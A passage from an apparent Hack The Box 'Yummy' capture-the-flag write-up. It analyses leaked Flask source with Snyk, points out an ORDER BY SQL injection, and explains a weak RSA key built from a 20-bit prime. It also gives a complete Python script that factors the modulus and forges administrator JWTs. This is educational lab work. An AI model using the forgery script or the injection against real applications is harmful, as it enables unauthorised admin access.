<p><code class="language-plaintext highlighter-rouge">www-data</code>’s cron also runs every minute. <code class="language-plaintext highlighter-rouge">app_backup.sh</code> is creating a ZIP archive of <code class="language-plaintext highlighter-rouge">/opt/app</code>, and saving it in the web folder:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">cd</span> /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip <span class="nt">-r</span> backupapp.zip /opt/app
</code></pre></div></div>

<p>The ZIP file is also accessible, but I’ll do the download manually in Burp this time. All the binary characters in it would break my terminal.</p>

<p>Looks like it’s the source code of the web app.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy/app</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ls -la</span>
<span class="cmd-output">
total 40
drwxrwxr-x 7 chengw chengw  4096 Sep 30 17:46 .
drwxr-xr-x 3 chengw chengw  4096 Feb 19 02:43 ..
-rw-r--r-- 1 chengw chengw 11979 Sep 25 23:24 app.py
drwxr-xr-x 3 chengw chengw  4096 Sep 30 17:46 config
drwxr-xr-x 3 chengw chengw  4096 Sep 30 17:46 middleware
drwxrwxr-x 2 chengw chengw  4096 Sep 30 17:46 __pycache__
drwxr-xr-x 6 chengw chengw  4096 Sep 30 17:46 static
drwxr-xr-x 2 chengw chengw  4096 Sep 30 17:46 templates
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="source-code-analysis">Source Code Analysis:</h3>

<p>As I’m lazy, I’ll use <a href="https://snyk.io/product/snyk-code/">Snyk</a> for a quick static code scan. It immediately identified 3 medium/high severity issues.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy/app</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">snyk code test .</span>
<span class="cmd-output">
Testing . ...

 ✗ [Low] Sensitive Cookie Without 'HttpOnly' Flag 
   Path: app.py, line 61 
   Info: Cookie's HttpOnly flag is set to False by default. Set it to true to protect the cookie from possible malicious code on client side.

 ✗ [Low] Sensitive Cookie Without 'HttpOnly' Flag 
   Path: app.py, line 71 
   Info: Cookie's HttpOnly flag is set to False by default. Set it to true to protect the cookie from possible malicious code on client side.

 ✗ [Low] Sensitive Cookie in HTTPS Session Without 'Secure' Attribute 
   Path: app.py, line 61 
   Info: Cookie's Secure flag is set to False by default. Set it to true to protect the cookie from man-in-the-middle attacks.

 ✗ [Low] Sensitive Cookie in HTTPS Session Without 'Secure' Attribute 
   Path: app.py, line 71 
   Info: Cookie's Secure flag is set to False by default. Set it to true to protect the cookie from man-in-the-middle attacks.

 ✗ [Medium] Use of Hardcoded Credentials 
   Path: app.py, line 23 
   Info: Do not hardcode passwords in code. Found hardcoded password used in a dictionary key.

 ✗ [High] SQL Injection 
   Path: app.py, line 286 
   Info: Unsanitized input from an HTTP parameter flows into execute, where it is used in an SQL query. This may result in an SQL Injection vulnerability.

 ✗ [High] Path Traversal 
   Path: app.py, line 159 
   Info: Unsanitized input from an HTTP parameter flows into flask.send_file, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to read arbitrary files.


✔ Test completed

Organization:      chengw625
Test type:         Static code analysis
Project path:      .

Summary:

  7 Code issues found
  2 [High]   1 [Medium]   4 [Low]
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The path traversal vulnerability had already been exploited earlier, while the hardcoded credentials discovered were identical to those found in the cron script.</p>

<p>However, the SQL injection vulnerability was found in the <code class="language-plaintext highlighter-rouge">/admindashboard</code> endpoint:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/admindashboard</span><span class="sh">'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">GET</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">POST</span><span class="sh">'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">admindashboard</span><span class="p">():</span>
        <span class="n">validation</span> <span class="o">=</span> <span class="nf">validate_login</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">validation</span> <span class="o">!=</span> <span class="sh">"</span><span class="s">administrator</span><span class="sh">"</span><span class="p">:</span>
            <span class="k">return</span> <span class="nf">redirect</span><span class="p">(</span><span class="nf">url_for</span><span class="p">(</span><span class="sh">'</span><span class="s">login</span><span class="sh">'</span><span class="p">))</span>
 
        <span class="k">try</span><span class="p">:</span>
            <span class="n">connection</span> <span class="o">=</span> <span class="n">pymysql</span><span class="p">.</span><span class="nf">connect</span><span class="p">(</span><span class="o">**</span><span class="n">db_config</span><span class="p">)</span>
            <span class="k">with</span> <span class="n">connection</span><span class="p">.</span><span class="nf">cursor</span><span class="p">()</span> <span class="k">as</span> <span class="n">cursor</span><span class="p">:</span>
                <span class="n">sql</span> <span class="o">=</span> <span class="sh">"</span><span class="s">SELECT * from appointments</span><span class="sh">"</span>
                <span class="n">cursor</span><span class="p">.</span><span class="nf">execute</span><span class="p">(</span><span class="n">sql</span><span class="p">)</span>
                <span class="n">connection</span><span class="p">.</span><span class="nf">commit</span><span class="p">()</span>
                <span class="n">appointments</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="nf">fetchall</span><span class="p">()</span>

                <span class="n">search_query</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">s</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>

                <span class="c1"># added option to order the reservations
</span>                <span class="n">order_query</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">o</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>

                <span class="n">sql</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date </span><span class="si">{</span><span class="n">order_query</span><span class="si">}</span><span class="sh">"</span>
                <span class="n">cursor</span><span class="p">.</span><span class="nf">execute</span><span class="p">(</span><span class="n">sql</span><span class="p">,</span> <span class="p">(</span><span class="sh">'</span><span class="s">%</span><span class="sh">'</span> <span class="o">+</span> <span class="n">search_query</span> <span class="o">+</span> <span class="sh">'</span><span class="s">%</span><span class="sh">'</span><span class="p">,))</span>
                <span class="n">connection</span><span class="p">.</span><span class="nf">commit</span><span class="p">()</span>
                <span class="n">appointments</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="nf">fetchall</span><span class="p">()</span>
            <span class="n">connection</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
            
            <span class="k">return</span> <span class="nf">render_template</span><span class="p">(</span><span class="sh">'</span><span class="s">admindashboard.html</span><span class="sh">'</span><span class="p">,</span> <span class="n">appointments</span><span class="o">=</span><span class="n">appointments</span><span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">flash</span><span class="p">(</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">),</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">)</span>
            <span class="k">return</span> <span class="nf">render_template</span><span class="p">(</span><span class="sh">'</span><span class="s">admindashboard.html</span><span class="sh">'</span><span class="p">,</span> <span class="n">appointments</span><span class="o">=</span><span class="n">appointments</span><span class="p">)</span>
</code></pre></div></div>

<p>It is vulnerable because the <code class="language-plaintext highlighter-rouge">o</code> parameter is directly used in the SQL query without any input validation/sanitization. Also, it’s used at the very end of the query, making it much easier for injections.</p>

<p>To access this page and exploit, I’ll first need to find a way to get admin rights.</p>

<h3 id="rsa-101">RSA 101:</h3>

<p><code class="language-plaintext highlighter-rouge">config/signature.py</code> shows how the RSA key pair is being generated. As shown above, the value of <code class="language-plaintext highlighter-rouge">n</code> was attached in the JWT token.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">from</span> <span class="n">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span>
<span class="kn">import</span> <span class="n">sympy</span>


<span class="c1"># Generate RSA key pair
</span><span class="n">q</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="nf">randprime</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">19</span><span class="p">,</span> <span class="mi">2</span><span class="o">**</span><span class="mi">20</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="nf">randprime</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">1023</span><span class="p">,</span> <span class="mi">2</span><span class="o">**</span><span class="mi">1024</span><span class="p">)</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="n">q</span>
<span class="n">phi_n</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="nf">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi_n</span><span class="p">)</span>
<span class="n">key_data</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">:</span> <span class="n">n</span><span class="p">,</span> <span class="sh">'</span><span class="s">e</span><span class="sh">'</span><span class="p">:</span> <span class="n">e</span><span class="p">,</span> <span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">:</span> <span class="n">d</span><span class="p">,</span> <span class="sh">'</span><span class="s">p</span><span class="sh">'</span><span class="p">:</span> <span class="n">p</span><span class="p">,</span> <span class="sh">'</span><span class="s">q</span><span class="sh">'</span><span class="p">:</span> <span class="n">q</span><span class="p">}</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="nf">construct</span><span class="p">((</span><span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">e</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">p</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">q</span><span class="sh">'</span><span class="p">]))</span>
<span class="n">private_key_bytes</span> <span class="o">=</span> <span class="n">key</span><span class="p">.</span><span class="nf">export_key</span><span class="p">()</span>

<span class="n">private_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="p">.</span><span class="nf">load_pem_private_key</span><span class="p">(</span>
    <span class="n">private_key_bytes</span><span class="p">,</span>
    <span class="n">password</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span>
    <span class="n">backend</span><span class="o">=</span><span class="nf">default_backend</span><span class="p">()</span>
<span class="p">)</span>
<span class="n">public_key</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">public_key</span><span class="p">()</span>
</code></pre></div></div>

<p>RSA is an asymmetric encryption algorithm often referred to as Public Key Cryptography. Typically, the public key encrypts data, which can only be decrypted with the corresponding private key. In the case of JWT, the private key signs the token, and the public key can be used to validate its authenticity.</p>

<p><a href="https://www.cryptool.org/en/cto/rsa-step-by-step/">This page</a> gives a good step-by-step explanation of the algorithm. Essentially the keys are generated with two large prime numbers (<code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code>), and the public modulus <code class="language-plaintext highlighter-rouge">n</code> is the product of the two numbers. The security of RSA fundamentally relies on the assumption that factoring large numbers are extremely difficult and time-consuming, as such <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code> must be large enough for RSA to be secure. Nowadays a key size of 1024 bit is already considered weak, modern security standards recommend 2048 bit as the absolute minimum. As seen in the code, the key size of <code class="language-plaintext highlighter-rouge">p</code> is extremely small with only 20 bits, making it feasible to factor <code class="language-plaintext highlighter-rouge">n</code>, recover the private key and forge JWT tokens.</p>

<h3 id="jwt-token-forge">JWT Token Forge:</h3>

<p>I’ve also scripted up this part, reusing some of the app’s source code for key generation. (GitHub link <a href="https://github.com/ch3ng625/CTF-scripts/blob/main/HTB/Yummy/jwt_forge.py">here</a>)</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">time</span>
<span class="kn">import</span> <span class="n">sympy</span>
<span class="kn">import</span> <span class="n">base64</span>
<span class="kn">import</span> <span class="n">jwt</span>
<span class="kn">from</span> <span class="n">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span>
<span class="kn">from</span> <span class="n">colorama</span> <span class="kn">import</span> <span class="n">Fore</span><span class="p">,</span> <span class="n">Style</span>

<span class="k">def</span> <span class="nf">factorize</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">):</span>
	<span class="n">factors</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="nf">factorint</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
	<span class="n">p</span><span class="p">,</span> <span class="n">q</span> <span class="o">=</span> <span class="nf">list</span><span class="p">(</span><span class="n">factors</span><span class="p">.</span><span class="nf">keys</span><span class="p">())</span>

	<span class="n">phi_n</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="n">d</span> <span class="o">=</span> <span class="nf">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi_n</span><span class="p">)</span>

	<span class="nf">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">GREEN</span> <span class="o">+</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[+] Coprime pairs recovered!</span><span class="sh">"</span><span class="p">)</span>
	<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] p: </span><span class="si">{</span><span class="n">p</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
	<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] q: </span><span class="si">{</span><span class="n">q</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
	<span class="nf">print</span><span class="p">(</span><span class="n">Style</span><span class="p">.</span><span class="n">RESET_ALL</span><span class="p">)</span>

	<span class="nf">return </span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">gen_key</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">):</span>
	<span class="n">phi_n</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="n">key_data</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">:</span> <span class="n">n</span><span class="p">,</span> <span class="sh">'</span><span class="s">e</span><span class="sh">'</span><span class="p">:</span> <span class="n">e</span><span class="p">,</span> <span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">:</span> <span class="n">d</span><span class="p">,</span> <span class="sh">'</span><span class="s">p</span><span class="sh">'</span><span class="p">:</span> <span class="n">p</span><span class="p">,</span> <span class="sh">'</span><span class="s">q</span><span class="sh">'</span><span class="p">:</span> <span class="n">q</span><span class="p">}</span>
	<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="nf">construct</span><span class="p">((</span><span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">e</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">p</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">q</span><span class="sh">'</span><span class="p">]))</span>
	<span class="n">private_key_bytes</span> <span class="o">=</span> <span class="n">key</span><span class="p">.</span><span class="nf">export_key</span><span class="p">()</span>

	<span class="n">private_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="p">.</span><span class="nf">load_pem_private_key</span><span class="p">(</span>
		<span class="n">private_key_bytes</span><span class="p">,</span>
		<span class="n">password</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span>
		<span class="n">backend</span><span class="o">=</span><span class="nf">default_backend</span><span class="p">()</span>
	<span class="p">)</span>
	<span class="n">public_key</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">public_key</span><span class="p">()</span>

	<span class="nf">return </span><span class="p">(</span><span class="n">private_key</span><span class="p">,</span> <span class="n">public_key</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">gen_jwt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">private_key</span><span class="p">):</span>
	<span class="n">token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="nf">encode</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">private_key</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="sh">"</span><span class="s">RS256</span><span class="sh">"</span><span class="p">)</span>

	<span class="nf">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">GREEN</span> <span class="o">+</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[+] Administrative JWT generated:</span><span class="sh">"</span> <span class="o">+</span> <span class="n">Style</span><span class="p">.</span><span class="n">RESET_ALL</span><span class="p">)</span>
	<span class="nf">print</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
	<span class="k">return</span> <span class="n">token</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
	<span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
		<span class="nf">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">RED</span> <span class="o">+</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] Usage: </span><span class="si">{</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s"> &lt;email&gt;</span><span class="sh">"</span><span class="p">)</span>
		<span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

	<span class="n">n</span> <span class="o">=</span> <span class="mf">6702121647705042361800427665.</span><span class="p">..</span>
	<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
	<span class="n">email</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
	<span class="n">iat</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">())</span>
	<span class="n">exp</span> <span class="o">=</span> <span class="n">iat</span><span class="o">+</span><span class="mi">3600</span>

	<span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span> <span class="o">=</span> <span class="nf">factorize</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
	<span class="p">(</span><span class="n">private_key</span><span class="p">,</span> <span class="n">public_key</span><span class="p">)</span> <span class="o">=</span> <span class="nf">gen_key</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>

	<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
		<span class="sh">"</span><span class="s">email</span><span class="sh">"</span><span class="p">:</span> <span class="n">email</span><span class="p">,</span>
		<span class="sh">"</span><span class="s">role</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">administrator</span><span class="sh">"</span><span class="p">,</span>
		<span class="sh">"</span><span class="s">iat</span><span class="sh">"</span><span class="p">:</span> <span class="n">iat</span><span class="p">,</span>
		<span class="sh">"</span><span class="s">exp</span><span class="sh">"</span><span class="p">:</span> <span class="n">exp</span><span class="p">,</span>
		<span class="sh">"</span><span class="s">jwk</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
			<span class="sh">"</span><span class="s">kty</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RSA</span><span class="sh">"</span><span class="p">,</span>
			<span class="sh">"</span><span class="s">n</span><span class="sh">"</span><span class="p">:</span> <span class="n">n</span><span class="p">,</span>
			<span class="sh">"</span><span class="s">e</span><span class="sh">"</span><span class="p">:</span> <span class="n">e</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="n">token</span> <span class="o">=</span> <span class="nf">gen_jwt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">private_key</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
	<span class="nf">main</span><span class="p">()</span>
</code></pre></div></div>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
